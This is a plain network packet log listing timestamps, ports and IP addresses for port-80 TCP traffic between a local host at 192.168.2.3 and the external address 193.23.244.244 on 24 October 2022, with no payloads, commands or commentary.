Oct 24, 2022 11:09:02.824815035 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.824832916 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.824837923 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.824851036 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.824868917 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.824886084 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.824903011 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.824919939 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.824919939 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.824938059 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.824966908 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.824990988 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.831633091 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.831664085 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.831682920 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.831701040 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.831718922 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.831737995 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.831754923 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.831768990 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.831773043 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.831792116 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.831810951 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.831831932 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.831850052 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.831861973 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.831866980 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.831886053 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.831902981 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.831917048 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.831919909 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.831938982 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.831957102 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.831958055 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.831976891 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.831995010 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.832011938 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.832029104 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.832037926 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.832046986 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.832063913 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.832078934 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.832081079 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.832099915 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.832110882 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.832118988 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.832135916 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.832144022 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.832153082 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.832170963 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.832171917 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.832189083 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.832205057 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.832222939 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.832233906 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.832278013 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.845362902 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.845393896 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.845418930 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.845438957 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.845455885 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.845474958 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.845484972 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.845494032 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.845511913 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.845541000 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.845590115 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.852082014 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.852104902 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.852122068 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.852138996 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.852158070 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.852159023 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.852175951 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.852195024 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.852207899 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.852212906 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.852240086 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.852257013 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.852276087 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.852292061 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.852293015 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.852320910 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.852344990 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.852363110 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.852380991 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.852392912 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.852399111 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.852416992 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.852425098 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.852435112 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.852492094 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.859333038 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.859358072 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.859375954 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.859394073 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.859411955 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.859422922 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.859431028 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.859448910 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.859466076 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.859483004 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.859486103 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.859499931 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.859509945 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.859519005 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.859533072 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.859540939 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.859566927 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.859572887 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.859611988 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.859992981 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.860037088 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.860066891 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.860104084 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.860111952 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.860142946 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.860161066 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.860172987 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.860213041 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.863801956 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.863828897 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.863847017 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.863863945 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.863882065 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.863884926 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.863900900 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.863948107 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.863975048 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.864727974 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.864748001 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.864765882 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.864784956 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.864795923 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.864803076 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.864820957 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.864825010 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.864872932 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.865514994 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.865541935 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.865561008 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.865578890 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.865581036 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.865597010 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.865616083 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.865629911 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.865657091 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.866187096 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.866213083 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.866233110 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.866250038 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.866269112 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.866286993 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.866329908 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.866370916 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.866731882 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.872931004 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.872980118 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.873013020 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.873121023 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.873140097 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.873157024 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.873174906 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.873176098 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.873194933 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.873207092 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.873213053 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.873260021 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.873506069 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.873526096 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.873543978 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.873548031 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.873603106 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.879712105 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.879740000 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.879757881 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.879776001 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.879790068 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.879795074 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.879812956 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.879829884 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.879839897 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.879883051 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.880101919 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.880122900 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.880141973 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.880160093 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.880178928 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.880196095 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.880199909 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.880214930 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.880233049 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.880250931 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.880270004 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.880270958 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.880290031 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.880297899 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.880309105 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.880326033 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.880342960 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.880347967 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.880361080 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.880378962 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.880389929 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.880395889 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.880412102 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.880413055 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.880445957 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.887214899 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.887242079 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.887260914 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.887279034 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.887298107 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.887320042 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.887334108 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.887337923 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.887356043 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.887373924 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.887386084 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.887393951 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.887413025 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.887413025 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.887430906 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.887449026 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.887461901 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.887465954 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.887485027 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.887485981 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.887501955 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.887521982 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.887528896 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.887540102 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.887557983 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.887571096 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.887574911 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.887593985 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.887595892 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.887612104 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.887631893 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.887639046 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.887650013 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.887666941 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.887685061 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.887687922 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.887701988 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.887720108 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.887722015 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.887744904 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.890898943 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.890930891 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.890955925 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.890970945 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.890978098 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.891002893 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.891019106 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.891026020 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.891047955 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.891072035 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.891092062 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.891097069 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.891117096 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.891139030 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.891738892 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.891772985 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.891801119 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.891824007 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.891829967 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.891858101 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.891870975 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.891881943 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.891905069 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.891917944 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.891927958 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.891949892 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.891963005 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.892482996 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.892513037 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.892537117 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.892539978 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.892579079 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.892592907 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.892622948 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.892649889 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.892658949 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.892678022 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.892705917 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.892713070 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.892733097 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.892771959 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.893240929 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.893287897 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.893316031 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.893330097 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.893343925 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.893373013 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.893381119 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.893402100 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.893430948 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.893439054 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.893460035 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.893496990 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.900059938 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.900099993 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.900130033 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.900157928 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.900186062 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.900190115 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.900213957 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.900219917 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.900242090 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.900269032 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.900278091 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.900305986 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.900322914 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.900332928 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.900361061 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.900372028 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.900388002 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.900415897 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.900424957 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.900548935 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.900579929 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.900588036 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.900609016 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.900636911 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.900648117 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.900664091 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.900698900 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.906871080 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.906934023 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.906965971 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.906996965 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.907027006 CEST	80	49700	193.23.244.244	192.168.2.3
